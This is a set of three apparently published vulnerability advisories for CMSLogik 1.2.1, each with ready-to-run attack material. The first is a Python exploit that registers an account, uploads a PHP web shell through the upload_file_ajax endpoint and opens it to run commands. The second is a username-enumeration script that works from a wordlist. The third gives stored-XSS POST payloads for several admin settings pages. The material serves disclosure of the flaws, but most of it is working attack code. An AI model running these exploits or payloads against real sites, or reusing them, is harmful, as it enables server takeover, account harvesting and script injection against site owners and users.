#!/usr/bin/python
#
# CMSLogik 1.2.1 (upload_file_ajax()) Shell Upload Exploit
#
#
# Vendor: ThemeLogik
# Product web page: http://www.themelogik.com/cmslogik
# Affected version: 1.2.1 and 1.2.0
#
# Summary: CMSLogik is built on a solid & lightweight framework
# called CodeIgniter, and design powered by Bootstrap. This
# combination allows for greater security, extensive flexibility,
# and ease of use. You can use CMSLogik for almost any niche that
# your project might fall into.
#
# Desc: The vulnerability is caused due to the improper verification
# of uploaded files in '/application/controllers/support.php' script
# thru the 'upload_file_ajax()' function. This can be exploited to
# execute arbitrary PHP code by uploading a malicious PHP script file
# with multiple extensions in the '/support_files' directory. Normal
# user [level 113] authentication required.
#
# ======================================================================
# /application/controllers/support.php:
# -------------------------
#
# 143: public function upload_file_ajax()
# 144: {
# 145: $allowedExtensions = array('jpeg', 'jpg', 'gif', 'png', 'html', 'php', 'js', 'doc', 'docx', 'pdf', 'ppt', 'pps', 'pptx', 'ppsx');
# 146: $sizeLimit = 10 * 1024;
# 147: $params = array('extensions' => $allowedExtensions, 'size' => $sizeLimit);
# 148: $this->load->library('qqfileuploader', $params);
# 149:
# 150: $result = $this->qqfileuploader->handleUpload('./support_files');
# 151:
# 152: echo htmlspecialchars(json_encode($result), ENT_NOQUOTES);
# 153: }
#
# ======================================================================
#
# Tested on: Apache/2.2.22
# PHP/5.3.15
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2013-5138
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5138.php
#
#
# 05.04.2013
#
import json, re, sys
import urllib, urllib2, time
import cookielib, webbrowser
if len(sys.argv) < 3:
print '\n\n\x20-\x20\x20[*] Usage: ' +sys.argv[0]+ ' <target> <path>\n'
print '\n\x20-\x20\x20[*] Example: ' +sys.argv[0]+ ' example.com cmslogik\n'
sys.exit(0)
host = sys.argv[1]
path = sys.argv[2]
def reguser():
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
username = raw_input('[+] Enter username [at least 4 characters]: ')
chk_usr = urllib.urlencode({'user' : username})
try:
xhr = json.load(opener.open('http://' +host+ '/' +path+ '/main/unique_username_ajax', chk_usr))
for key, value in xhr.iteritems():
fnrand = value
break
if fnrand == '1':
print '[!] The user ' +username+ ' is not available.'
print '[!] Choose a more unique username please.'
reguser()
except:
print '[!] No connection to host'
sys.exit(0)
else:
print '[*] The user \'' +username+ '\' is available.'
email = raw_input('[+] Choose e-mail [unique@unique.unique]: ')
password = raw_input('[+] Choose password [at least 6 characters]: ')
reg_data = urllib.urlencode({'email' : email,
'full_name' : 'Patch',
'password1' : password,
'password2' : password,
'r_username' : username,
'register' : 'Register!'}
)
auth = opener.open('http://' +host+ '/' +path+ '/register', reg_data)
match = auth.read()
if re.search(r"Sorry but that Email is already in use!", match):
print '[!] The e-mail you have chosen is already taken. Try again.'
reguser()
elif re.search(r"You have been registered", match):
print '[*] OK.'
loguser()
else:
print '[!] Something is fishy.'
sys.exit(0)
def loguser():
print '\n[*] Login please.'
username = raw_input('\n[+] Enter your username: ')
password = raw_input('[+] Enter your password: ')
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
login_data = urllib.urlencode({'username' : username,
'password' : password,
'login' : 'Login',
'remember_me' : 'remember'}
)
auth = opener.open('http://' +host+ '/' +path+ '/login', login_data)
match = auth.read()
if re.search(r"Error!", match):
print '\n[!] Not logged in! Try again.'
loguser()
else:
print '\n[*] Successfully logged in!'
print '[*] Uploading malicious php file...'
time.sleep(3)
upload_data = '<?php echo \'<pre>\' + system($_GET[\'cmd\']) + \'</pre>\'; ?>'
xhr2 = json.load(opener.open('http://' +host+ '/' +path+ '//support/upload_file_ajax?qqfile=liwo_sh.php', upload_data))
for key, value in xhr2.iteritems():
filename = value
break
print '[*] Your shell ID is: ' + filename + '.php'
time.sleep(2)
print '[*] Let me open that for ya...'
time.sleep(2)
webbrowser.open('http://' +host+ '/' +path+ '/support_files/' +filename+ '.php?cmd=uname -a;id')
print '\n[*] Zya!'
sys.exit(0)
def menu():
print """
(((((((((((((((((((((((((((((((((((((((((((((((((((
(( ((
(( Hello! CMSLogik Shell Upload 0day ((
(( ((
(( 1. Register a new User ((
(( 2. Login with existing User ((
(( ((
(((((((((((((((((((((((((((((((((((((((((((((((((((
"""
n = raw_input('Enter choice number: ');
if n=='1':
print '\n[*] Welcome to User Registration!'
reguser()
elif n=='2':
loguser()
else:
print '\n[?] Just 1 or 2 please...'
menu()
menu()
###############################################################################
#!/usr/bin/python
#
# CMSLogik 1.2.1 (user param) User Enumeration Weakness
#
#
# Vendor: ThemeLogik
# Product web page: http://www.themelogik.com/cmslogik
# Affected version: 1.2.1 and 1.2.0
#
# Summary: CMSLogik is built on a solid & lightweight framework
# called CodeIgniter, and design powered by Bootstrap. This
# combination allows for greater security, extensive flexibility,
# and ease of use. You can use CMSLogik for almost any niche that
# your project might fall into.
#
# Desc: The weakness is caused due to the 'unique_username_ajax'
# script enumerating the list of valid usernames when some characters
# are provided via the 'user' parameter.
#
# Tested on: Apache/2.2.22
# PHP/5.3.15
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2013-5137
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5137.php
#
#
# 05.04.2013
#
import argparse, sys, json, urllib, urllib2, cookielib
from colorama import Fore, Back, Style, init
init()
print '\n-----------------------------------------------'
print 'User Enumeration Tool v0.1 for CMSLogik 1.2.x'
print 'Copyleft (c) 2013, Zero Science Lab'
print 'by lqwrm'
print '-----------------------------------------------\n'
parser = argparse.ArgumentParser()
parser.add_argument('-t', help='target IP or hostname', action='store', dest='target')
parser.add_argument('-d', help='target dir', action='store', dest='dir')
parser.add_argument('-f', help='username wordlist', action='store', dest='file')
args = parser.parse_args()
if len(sys.argv) != 7:
parser.print_help()
print '\n[*] Example: cmslogik_enum.py -t zeroscience.mk -d cmslogik -f users.txt'
sys.exit()
host = args.target
path = args.dir
fn = args.file
print '\n'
try:
users = open(args.file, 'r')
except(IOError):
print '[!] Error opening \'' +fn+ '\' file.'
sys.exit()
lines = users.read().splitlines()
print '[*] Loaded %d usernames for testing.\n' % len(open(fn).readlines())
users.close()
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
results = open('validusers.txt', 'w')
for line in lines:
chk_usr = urllib.urlencode({'user' : line})
try:
xhr = json.load(opener.open('http://' +host+ '/' +path+ '/main/unique_username_ajax', chk_usr))
except:
print '[!] Error connecting to http://' +host+ '/' +path
sys.exit()
print '[+] Testing username: ' +Fore.GREEN+line+Fore.RESET
for key, value in xhr.iteritems():
fnrand = value
break
if fnrand == '1':
print '[!] Found ' +Style.BRIGHT+Fore.RED+line+Style.RESET_ALL+Fore.RESET+ ' as valid registered user.'
results.write('%s\n' % line)
results.close()
print '\n[*] Enumeration completed!'
print '[*] Valid usernames successfully written to \'validusers.txt\' file.'
###############################################################################
CMSLogik 1.2.1 Multiple Persistent XSS Vulnerabilities
Vendor: ThemeLogik
Product web page: http://www.themelogik.com/cmslogik
Affected version: 1.2.1 and 1.2.0
Summary: CMSLogik is built on a solid & lightweight framework
called CodeIgniter, and design powered by Bootstrap. This
combination allows for greater security, extensive flexibility,
and ease of use. You can use CMSLogik for almost any niche that
your project might fall into.
Desc: CMSLogik suffers from multiple stored XSS vulnerabilities
when parsing user input to several parameters via POST method.
Attackers can exploit these weaknesses to execute arbitrary HTML
and script code in a user's browser session.
Tested on: Apache/2.2.22
PHP/5.3.15
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2013-5136
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5136.php
05.04.2013
--
==============================================================================
POST http://localhost/cmslogik/admin/settings HTTP/1.1
admin_email "onmouseover=prompt("XSS1")>
default_level 2
default_page 1
default_url http://themelogik.com/cmslogik/
email_activate 0
header_title "onmouseover=prompt("XSS2")>
login 1
registration 1
site_title "onmouseover=prompt("XSS3")>
update_settings Update Settings
welcome_email 0
==============================================================================
POST http://localhost/cmslogik/admin/captcha_settings HTTP/1.1
captcha_settings Update
recaptcha_private "onmouseover=prompt("XSS4")>
recaptcha_public "onmouseover=prompt("XSS5")>
==============================================================================
POST http://localhost/cmslogik/admin/social_settings HTTP/1.1
fb_appid "onmouseover=prompt("XSS6")>
fb_secret "onmouseover=prompt("XSS7")>
social_settings Update
tw_consumer_key "onmouseover=prompt("XSS8")>
tw_consumer_secret "onmouseover=prompt("XSS9")>
==============================================================================
POST http://localhost/cmslogik/admin/gallery/save_item_settings HTTP/1.1
imgid 76
long test
short test
slug "onmouseover=prompt("XSS10")>
status live
title test
==============================================================================
POST http://localhost/cmslogik/admin/edit_menu_item_ajax HTTP/1.1
item_link "onmouseover=prompt("XSS11")>
item_name test
item_order 0
mid 9
==============================================================================
